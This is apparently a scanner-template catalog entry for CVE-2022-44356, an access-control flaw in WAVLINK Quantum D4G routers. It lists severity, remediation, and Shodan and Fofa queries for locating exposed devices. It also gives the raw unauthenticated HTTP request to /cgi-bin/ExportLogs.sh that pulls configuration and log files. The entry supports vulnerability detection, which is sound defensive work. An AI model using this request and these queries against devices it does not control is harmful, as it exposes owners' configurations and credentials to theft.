| Title | WAVLINK Quantum D4G (WL-WN531G3) - Information Disclosure |
|---|---|
| Author | ritikchaddha |
| Severity | High |
| Impact | Successful exploitation could lead to sensitive information disclosure. |
| Remediation | Apply the latest firmware updates from Wavlink or implement network segmentation to restrict access to the device administration interface. |
| CVSS Score | 7.5 |
| EPSS Score | 0.53391 |
| CVE ID | CVE-2022-44356 |
| Shodan Query | html:"WN531G3" |
| Fofa Query | body="WN531G3" |
| Tags | cve cve2022 wavlink exposure wn531g3 vuln |
WAVLINK Quantum D4G (WL-WN531G3) running firmware versions M31G3.V5030.201204 and M31G3.V5030.200325 has an access control issue which allows unauthenticated attackers to download configuration data and log files.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/9.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /cgi-bin/ExportLogs.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-44356.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-44356.pcap
N/AN/A